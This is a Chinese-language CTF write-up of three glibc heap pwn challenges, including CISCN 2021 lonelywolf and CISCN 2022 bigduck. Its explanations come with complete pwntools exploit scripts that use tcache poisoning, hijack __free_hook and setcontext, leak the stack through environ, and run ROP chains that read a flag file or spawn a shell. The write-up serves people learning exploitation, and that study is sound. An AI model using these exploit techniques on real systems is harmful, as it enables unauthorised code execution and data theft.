void __fastcall main(__int64 a1, char **a2, char **a3){ __int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF
v3[1] = __readfsqword(0x28u); sub_C70(); while ( 1 ) { puts("1. allocate"); puts("2. edit"); puts("3. show"); puts("4. delete"); puts("5. exit"); __printf_chk(1LL, "Your choice: "); __isoc99_scanf(&unk_1144, v3); switch ( v3[0] ) { case 1LL: add(); break; case 2LL: edit(); break; case 3LL: show(); break; case 4LL: delete(); break; case 5LL: exit(0); default: puts("Unknown"); break; } }}乍看一下漏洞给的挺多 好像是很简单的堆模板题

但是还开启了沙盒 那显然是无法获取shell了 那就只能想办法构造rop链
同时仔细观察一下 你还会发现 其用来存储chunk指针的不是数组而是单子长的一个指针 这就意味着我们只能操控最新申请的一个chunk
我们拥有的漏洞点包含 UAF off_by_null
既然给了show函数 那么这时候想要泄露基址 还是通过Unsortedbin 不过由于对于申请chunk大小的限制 同时还有指针问题 所以这里要想把chunk丢到unsortedbin中只能通过篡改tcache_perthread_struct来实现目的了
另外 还有一个问题 由于开启了沙盒 沙盒的调用本身也是需要内存空间的 所以程序会自带一些chunk

不过这些chunk对于我们的利用不会起到太大的影响 在做题的过程中小心一下即可
为了劫持tcache_perthread_struct 我们首要的目的就是泄露堆地址
既然有UAF 那么我这里选择的办法是double free 然后泄露fd的值 计算堆基址
add(0,0x28)delete(0)edit(0,p64(0)*2)delete(0)add(0,0x28)show(0)heap_addr = (u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00')) >> 12) * (0x1000)-0x1000success("heap_addr :"+hex(heap_addr))接下来顺带利用好这个double free 来申请到tcache_perthread_struct的地址 然后更改一下counts数组
edit(0,p64(heap_addr+0x10))add(0,0x28)add(0,0x28)edit(0,p64(0)*4+p64(0x7000000))这里的**p64(0)4+p64(0x7000000))* 我还是提一嘴
这样修改counts 你会发现被改为7的是0x250链表的位置

之所以是0x250 是因为实际上此时的指针指向的chunk 虽然我们是通过0x28申请到的chunk 但是chunk头的0x251并没有被改写
接下来就是释放chunk进unsortedbin 随后获得一些下面要用到的地址
delete(0)show(0)main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success("main_arena_addr :"+hex(main_arena_addr))libc_addr = main_arena_addr - (0x7f98511ebca0-0x7f9850e00000)success("libc_addr :"+hex(libc_addr))free_hook = libc_addr + libc.sym['__free_hook']setcontext = libc_addr + libc.sym['setcontext'] + 53setcontext就是我们接下来要构造orw的关键好戏了
你可以在libc文件中找到这一函数

可以看到函数对各种寄存器的值都进行了操作 并且还有一次push rcx的入栈操作 特别是
.text:00000000000521B5 mov rsp, [rdi+0A0h]对于rsp寄存器的劫持可以使得我们在堆上构造rop链 随后迁移过去 因为其赋值是根据rdi来的
rdi寄存器的值要怎么由我们操控呢? 当然是free函数了
进行一个小实验 编写如下程序
#include <stdio.h>#include <stdlib.h>#include <malloc.h>int main(){ char *a[50]; *a = malloc(0x20); free(*a); puts("test");}
可以看到此时执行free函数时 rdi寄存器指向的就是chunk的地址
控制rdi寄存器的办法有了 接下来来安排下tcache_perthread_struct的布置问题 我们需要修改entry数组 来得到多次任意地址申请的机会
在开始布置之前 我们需要先获得能修改到其的机会 由于我们最开始使用的是0x28字节的chunk 显然是不够修改到entry数组的长度
我们挑选一个还没有存放chunk的tcachebin链表 会向unsortedbin中申请 所以此时申请到的地址还是tcache_perthread_struct中
add(0,0x48)edit(0,p64(0)*8+p64(heap_addr+0x50))于是我们获得了修改entry数组的机会 我们将0x20链表的修改为heap_addr+0x50 这个地址指向的就是entry数组的首地址
随后我们利用这个机会 修改0x40链表的entry 这样就可以修改到更大链表的机会
add(0,0x18)edit(0,p64(0)*2+p64(heap_addr+0x50))add(0,0x38)payload = p64(free_hook)+p64(heap_addr+0x1000)+p64(heap_addr+0x1000+0xa0) #0x20 0x30 0x40payload += p64(heap_addr+0x1000)+p64(heap_addr+0x2000)+p64(0)+p64(heap_addr+0x2000+0x58) #0x50 0x60 0x70 0x80edit(0,payload)这里的entry构造就要详细讲讲了
我们需要把rop链写到堆上 不过由于对申请堆块的限制 所以就只能分两次写 对应着0x60和0x80的链表
0x20的链表则用来修改free_hook 使其指向setcontext+53的地址
0x30和0x40的链表我们要用来配合劫持rsp指针 使其迁移到堆上的rop链
0x50的链表则是用来触发free 充当rdi寄存器值
0x70没有作用
ret_addr = libc_addr + 0x00000000000008aardi_addr = libc_addr + 0x000000000002164frsi_addr = libc_addr + 0x0000000000023a6ardx_addr = libc_addr + 0x0000000000001b96rax_addr = libc_addr + 0x000000000001b500syscall = libc_addr + libc.sym['alarm']+0x5# ret_addr = libc_addr + 0x0000000000023eeb# rdi_addr = libc_addr + 0x00000000000215bf# rsi_addr = libc_addr + 0x0000000000023eea# rdx_addr = libc_addr + 0x0000000000001b96# rax_addr = libc_addr + 0x0000000000043ae8# syscall = libc_addr + libc.sym['alarm']+0x5add(0,0x18)#修改free_hookedit(0,p64(setcontext))add(0,0x28)#设置rdi 顺便用来放./flag字符串edit(0,b'./flag\x00\x00')add(0,0x38)#劫持rsp指针edit(0,p64(heap_addr+0x2000)+p64(ret_addr))劫持rsp指针的payload这里就不解释了 可以看我相关博客
#openflag_addr = heap_addr + 0x1000rop_open = p64(rdi_addr)+p64(flag_addr)rop_open += p64(rsi_addr)+p64(0)rop_open += p64(rax_addr)+p64(2)rop_open += p64(syscall)#readrop_read = p64(rdi_addr)+p64(3)rop_read += p64(rsi_addr)+p64(flag_addr)rop_read += p64(rdx_addr)+p64(0x30)rop_read += p64(rax_addr)+p64(0)rop_read += p64(syscall)#writerop_write = p64(rdi_addr)+p64(1)rop_write += p64(rsi_addr)+p64(flag_addr)rop_write += p64(rdx_addr)+p64(0x30)rop_write += p64(rax_addr)+p64(1)rop_write += p64(syscall)payload = rop_open+rop_read+rop_write
add(0,0x58) #布置rop链edit(0,payload[:0x58])
add(0,0x78) #布置rop链edit(0,payload[0x58:])接着就是布置rop链了 分两次部署 [<0x58>0x58>]和[0x58:]就是取前后0x58字节的部分 这个python语法问题 没啥好说的
最后就是释放0x50链表的chunk了 成功获取flag
add(0,0x48)# gdb.attach(io,'b *'+str(heap_addr+0x2000))# pause(0)delete(0)io.recv()完整exp:
from pwn import*from LibcSearcher import*io = process("./pwn")#io = remote("1.14.71.254",28068)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")#libc = ELF("./刷题/libc-2.27.so")# context.arch = "i386"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
def add(index,size): io.recvuntil("Your choice: ") io.sendline(b'1') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Done!")
def edit(index,content): io.recvuntil("Your choice: ") io.sendline(b'2') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Content: ") io.sendline(content)
def show(index): io.recvuntil("Your choice: ") io.sendline(b'3') io.recvuntil("Index: ") io.sendline(str(index))
def delete(index): io.recvuntil("Your choice: ") io.sendline(b'4') io.recvuntil("Index: ") io.sendline(str(index))
add(0,0x28)delete(0)edit(0,p64(0)*2)delete(0)add(0,0x28)show(0)heap_addr = (u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00')) >> 12) * (0x1000)-0x1000success("heap_addr :"+hex(heap_addr))edit(0,p64(heap_addr+0x10))add(0,0x28)add(0,0x28)edit(0,p64(0)*4+p64(0x7000000))delete(0)show(0)main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success("main_arena_addr :"+hex(main_arena_addr))libc_addr = main_arena_addr - (0x7f98511ebca0-0x7f9850e00000)success("libc_addr :"+hex(libc_addr))free_hook = libc_addr + libc.sym['__free_hook']setcontext = libc_addr + libc.sym['setcontext'] + 53add(0,0x48)edit(0,p64(0)*8+p64(heap_addr+0x50))add(0,0x18)edit(0,p64(0)*2+p64(heap_addr+0x50))add(0,0x38)payload = p64(free_hook)+p64(heap_addr+0x1000)+p64(heap_addr+0x1000+0xa0) #0x20 0x30 0x40payload += p64(heap_addr+0x1000)+p64(heap_addr+0x2000)+p64(0)+p64(heap_addr+0x2000+0x58) #0x50 0x60 0x70 0x80edit(0,payload)
ret_addr = libc_addr + 0x00000000000008aardi_addr = libc_addr + 0x000000000002164frsi_addr = libc_addr + 0x0000000000023a6ardx_addr = libc_addr + 0x0000000000001b96rax_addr = libc_addr + 0x000000000001b500syscall = libc_addr + libc.sym['alarm']+0x5# ret_addr = libc_addr + 0x0000000000023eeb# rdi_addr = libc_addr + 0x00000000000215bf# rsi_addr = libc_addr + 0x0000000000023eea# rdx_addr = libc_addr + 0x0000000000001b96# rax_addr = libc_addr + 0x0000000000043ae8# syscall = libc_addr + libc.sym['alarm']+0x5add(0,0x18)#修改free_hookedit(0,p64(setcontext))add(0,0x28)#设置rdi 顺便用来放./flag字符串edit(0,b'./flag\x00\x00')add(0,0x38)#劫持rsp指针edit(0,p64(heap_addr+0x2000)+p64(ret_addr))
#openflag_addr = heap_addr + 0x1000rop_open = p64(rdi_addr)+p64(flag_addr)rop_open += p64(rsi_addr)+p64(0)rop_open += p64(rax_addr)+p64(2)rop_open += p64(syscall)#readrop_read = p64(rdi_addr)+p64(3)rop_read += p64(rsi_addr)+p64(flag_addr)rop_read += p64(rdx_addr)+p64(0x30)rop_read += p64(rax_addr)+p64(0)rop_read += p64(syscall)#writerop_write = p64(rdi_addr)+p64(1)rop_write += p64(rsi_addr)+p64(flag_addr)rop_write += p64(rdx_addr)+p64(0x30)rop_write += p64(rax_addr)+p64(1)rop_write += p64(syscall)payload = rop_open+rop_read+rop_write
add(0,0x58) #布置rop链edit(0,payload[:0x58])
add(0,0x78) #布置rop链edit(0,payload[0x58:])
add(0,0x48)# gdb.attach(io,'b *'+str(heap_addr+0x2000))# pause(0)delete(0)io.recv()[CISCN 2021 初赛]lonelywolf#
比上面那一题更加简单 因为没有了沙盒限制 手法一模一样 就直接放exp了 唯一的麻烦是打不通远程 因为远程是2.27 1.4的版本 搞不到
from pwn import*from LibcSearcher import*io = process("./pwn")#io = remote("1.14.71.254",28793)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")#libc = ELF("./刷题/libc-2.27.so")# context.arch = "i386"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
def add(index,size): io.recvuntil("Your choice: ") io.sendline(b'1') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Done!")
def edit(index,content): io.recvuntil("Your choice: ") io.sendline(b'2') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Content: ") io.sendline(content)
def show(index): io.recvuntil("Your choice: ") io.sendline(b'3') io.recvuntil("Index: ") io.sendline(str(index))
def delete(index): io.recvuntil("Your choice: ") io.sendline(b'4') io.recvuntil("Index: ") io.sendline(str(index))
add(0,0x70)delete(0)edit(0,p64(0)*2)delete(0)show(0)heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0x260success("heap_addr :"+hex(heap_addr))edit(0,p64(heap_addr+0x10))add(0,0x70)add(0,0x70)payload = p64(0)*4+p64(0x7000000)edit(0,payload)delete(0)show(0)main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success("main_arena_addr :"+hex(main_arena_addr))libc_addr = main_arena_addr - (0x7f85379ebca0-0x7f8537600000)success("libc_addr :"+hex(libc_addr))free_hook = libc_addr + libc.sym['__free_hook']system_addr = libc_addr + libc.sym['system']add(0,0x60)payload = p64(0)*8+p64(free_hook)edit(0,payload)add(0,0x10)edit(0,p64(system_addr))add(0,0x20)edit(0,b'/bin/sh\x00')delete(0)io.interactive()[CISCN 2022 华东北]bigduck#
通过这题学到了很多新东西 先来看一下保护机制吧

这一道题是libc2.33的环境 并且开启了沙盒

接着ida分析一下程序
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ int v3; // [rsp+Ch] [rbp-4h]
init_sandbox(); while ( 1 ) { while ( 1 ) { menu(a1, a2); v3 = ((&sub_1268 + 1))(); if ( v3 != 4 ) break; edit(); } if ( v3 > 4 ) {LABEL_13: a1 = "Invalid choice"; puts("Invalid choice"); } else if ( v3 == 3 ) { show(); } else { if ( v3 > 3 ) goto LABEL_13; if ( v3 == 1 ) { add(); } else { if ( v3 != 2 ) goto LABEL_13; delete(); } } }}标准的菜单题 函数给的挺全 没有堆溢出 但是有UAF 值得注意的是 add函数只能申请0x100大小的chunk
既然给了打印堆块内容的机会 那么这里想的是通过unsortebin来泄露libc基址 不过由于只能申请0x100的chunk 那就通过填满tcache链表的办法
for i in range(7): add()
add()#7add()#8for i in range(7): delete(i)
delete(7)成功将chunk7释放进unsortedbin

edit(7,1,b'\x01')show(7)io.recv()main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1-96success("main_arena_addr :"+hex(main_arena_addr))libc_addr = main_arena_addr - libc.sym['__malloc_hook']-0x10success("libc_addr :"+hex(libc_addr))edit(7,1,b'\x00')接下来就是把main_arena_addr打印出来了 唯一一点需要注意的就是该libc版本main_arena_addr + 96末位是\x00 所以printf函数无法将其打印出来 需要我们修改一下末尾的值 最后再减去
接下来 由于高版本多了一个tcache链表的fd异或保护机制 所以还需要泄露堆基址 这个也比较简单 直接打印处链表尾的chunk0就好了
show(0)io.recv()key = u64(io.recv(5).ljust(8,b'\x00'))success("key :"+hex(key))heap_addr = key << 12success("heap_addr :"+hex(heap_addr))接下来 我们就需要想办法获取flag了 由于开启了沙盒 所以没有办法通过简单的通过hook函数来获取shell
之前的题目做过通过setcontext来劫持rsp指针 迁移到我们在堆上布置的rop链 不过由于2.33 其从rdi寻址改成了rcx寻址 给利用带来了不少难度 所以这里只能作废了
这里使用我们做栈题的老办法了 覆盖ret addr
那么获取到栈地址是一个关键的问题 这里可以使用environ指针

我们跟进一下其存储的栈地址

可以看到低地址处是一个栈帧 我们可以覆盖这个栈帧的ret addr
至于这个是谁的栈帧呢 我编写了一个小程序来动调查验
#include <stdio.h>#include <stdlib.h>#include <malloc.h>void test1(){ puts("test1");}void test2(){ puts("test2");}int main(){ test1(); test2(); test1();}经过测试 不论是跟进到test函数中 还是在main函数中 environ索引到的都是栈帧高地址处的一块内存
覆盖的ret addr实际上是使得任何函数的返回地址都为止修改(待考证 目前可以确定的是哪怕read函数的返回地址也是受到这个影响的 等我有空更深入了解一下堆栈结构吧 感觉这方面的理解还是不清楚)
经过计算 我们得到了ret addr的地址 接下里只要利用tcachebin attack任意写修改其值就可以了
for i in range(5): add() #9-13
edit(1,8,p64(environ_addr ^ key))add()#14add()#15edit(0,8,b'./flag\x00\x00')show(15)io.recv()stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x138success("stack_addr :"+hex(stack_addr))我们先将tcache清空一下 取出大部分chunk 就留下两个留着攻击
随后申请到environ处 利用show函数打印处栈地址
delete(9)delete(10)edit(10,8,p64(stack_addr^key))add()#16add()#17rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__()rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__()rdx_addr = libc_addr + 0x00000000000c7f32# rax_addr = libc_addr + 0x0000000000044c70# syscall = libc_addr + 0x0000000000026858open_addr = libc_addr + libc.sym['open']read_addr = libc_addr + libc.sym['read']write_addr = libc_addr + libc.sym['write']#open#flag_addr = stack_addr +0x10flag_addr = heap_addr + 0x2a0payload = p64(0)*3+p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(read_addr)payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(write_addr)# gdb.attach(io,'b *'+str(rdi_addr))# gdb.attach(io,'b *$rebase(0x14AD)')# pause(0)edit(17,len(payload),payload)io.recv()io.recv()debug()接下来任意写到ret addr不远处 这里准确的应该是stack_addr - 0x128 但是好像不能直接申请到这里 估计是malloc检查之类的锅 有待考究 至于申请到stack_addr - 0x138的话 覆盖到了canary 但是不会触发报错 是因为压根没检查 可能是出题人通过什么办法去掉了吧

完整exp:
from pwn import*from LibcSearcher import*io = process("./pwn")#io = remote("1.14.71.254",28793)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']libc = ELF("/home/chen/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6")#libc = ELF("./刷题/libc-2.27.so")# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
def add(): io.recvuntil("Choice: ") io.sendline(b'1') io.recvuntil("Done")
def delete(index): io.recvuntil("Choice: ") io.sendline(b'2') io.recvuntil("Idx: ") io.sendline(str(index))
def show(index): io.recvuntil("Choice: ") io.sendline(b'3') io.recvuntil("Idx: ") io.sendline(str(index))
def edit(index,size,content): io.recvuntil("Choice: ") io.sendline(b'4') io.recvuntil("Idx: ") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Content: ") io.sendline(content)
for i in range(7): add()
add()#7add()#8for i in range(7): delete(i)
delete(7)edit(7,1,b'\x01')show(7)io.recv()main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1-96success("main_arena_addr :"+hex(main_arena_addr))libc_addr = main_arena_addr - libc.sym['__malloc_hook']-0x10success("libc_addr :"+hex(libc_addr))edit(7,1,b'\x00')show(0)io.recv()key = u64(io.recv(5).ljust(8,b'\x00'))success("key :"+hex(key))heap_addr = key << 12success("heap_addr :"+hex(heap_addr))environ_addr = libc_addr + libc.sym['environ']for i in range(5): add() #9-13
edit(1,8,p64(environ_addr ^ key))add()#14add()#15edit(0,8,b'./flag\x00\x00')show(15)io.recv()stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x138success("stack_addr :"+hex(stack_addr))delete(9)delete(10)edit(10,8,p64(stack_addr^key))add()#16add()#17rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__()rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__()rdx_addr = libc_addr + 0x00000000000c7f32# rax_addr = libc_addr + 0x0000000000044c70# syscall = libc_addr + 0x0000000000026858open_addr = libc_addr + libc.sym['open']read_addr = libc_addr + libc.sym['read']write_addr = libc_addr + libc.sym['write']#open#flag_addr = stack_addr +0x10flag_addr = heap_addr + 0x2a0payload = p64(0)*3+p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(read_addr)payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(write_addr)# gdb.attach(io,'b *'+str(rdi_addr))# gdb.attach(io,'b *$rebase(0x14AD)')# pause(0)edit(17,len(payload),payload)io.recv()io.recv()debug()另外关于最后的劫持程序执行流 还有一种办法 我们之前不是提到过 可以确定的是read函数的栈帧也是在那一块吗 可以劫持read函数执行完后的程序执行流 并且由于我们没有破坏原本的栈结构 所以程序执行完 还是可以正常返回的
我们将任意写的地址改为stack_addr - 0x168 然后s到read函数中的syscall来看一看

可以看到 如果我们在rop链前添上8字节的垃圾数据的话 在执行完read后 rsp指针指向的刚好就是rop链的首地址 这时候执行ret指令 就劫持了程序执行流
另外一种exp:
from pwn import*from LibcSearcher import*io = process("./pwn")#io = remote("1.14.71.254",28793)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']libc = ELF("/home/chen/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6")#libc = ELF("./刷题/libc-2.27.so")# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
def add(): io.recvuntil("Choice: ") io.sendline(b'1') io.recvuntil("Done")
def delete(index): io.recvuntil("Choice: ") io.sendline(b'2') io.recvuntil("Idx: ") io.sendline(str(index))
def show(index): io.recvuntil("Choice: ") io.sendline(b'3') io.recvuntil("Idx: ") io.sendline(str(index))
def edit(index,size,content): io.recvuntil("Choice: ") io.sendline(b'4') io.recvuntil("Idx: ") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Content: ") io.sendline(content)
for i in range(7): add()
add()#7add()#8for i in range(7): delete(i)
delete(7)edit(7,1,b'\x01')show(7)io.recv()main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1-96success("main_arena_addr :"+hex(main_arena_addr))libc_addr = main_arena_addr - libc.sym['__malloc_hook']-0x10success("libc_addr :"+hex(libc_addr))edit(7,1,b'\x00')show(0)io.recv()key = u64(io.recv(5).ljust(8,b'\x00'))success("key :"+hex(key))heap_addr = key << 12success("heap_addr :"+hex(heap_addr))environ_addr = libc_addr + libc.sym['environ']for i in range(5): add() #9-13
edit(1,8,p64(environ_addr ^ key))add()#14add()#15edit(0,8,b'./flag\x00\x00')show(15)io.recv()stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x168success("stack_addr :"+hex(stack_addr))delete(9)delete(10)edit(10,8,p64(stack_addr^key))add()#16add()#17rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__()rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__()rdx_addr = libc_addr + 0x00000000000c7f32# rax_addr = libc_addr + 0x0000000000044c70# syscall = libc_addr + 0x0000000000026858open_addr = libc_addr + libc.sym['open']read_addr = libc_addr + libc.sym['read']write_addr = libc_addr + libc.sym['write']#open#flag_addr = stack_addr +0x10flag_addr = heap_addr + 0x2a0payload = p64(0)*1+p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(read_addr)payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(write_addr)# gdb.attach(io,'b *'+str(rdi_addr))# gdb.attach(io,'b *$rebase(0x1541)')# pause(0)edit(17,len(payload),payload)io.recv()io.recv()



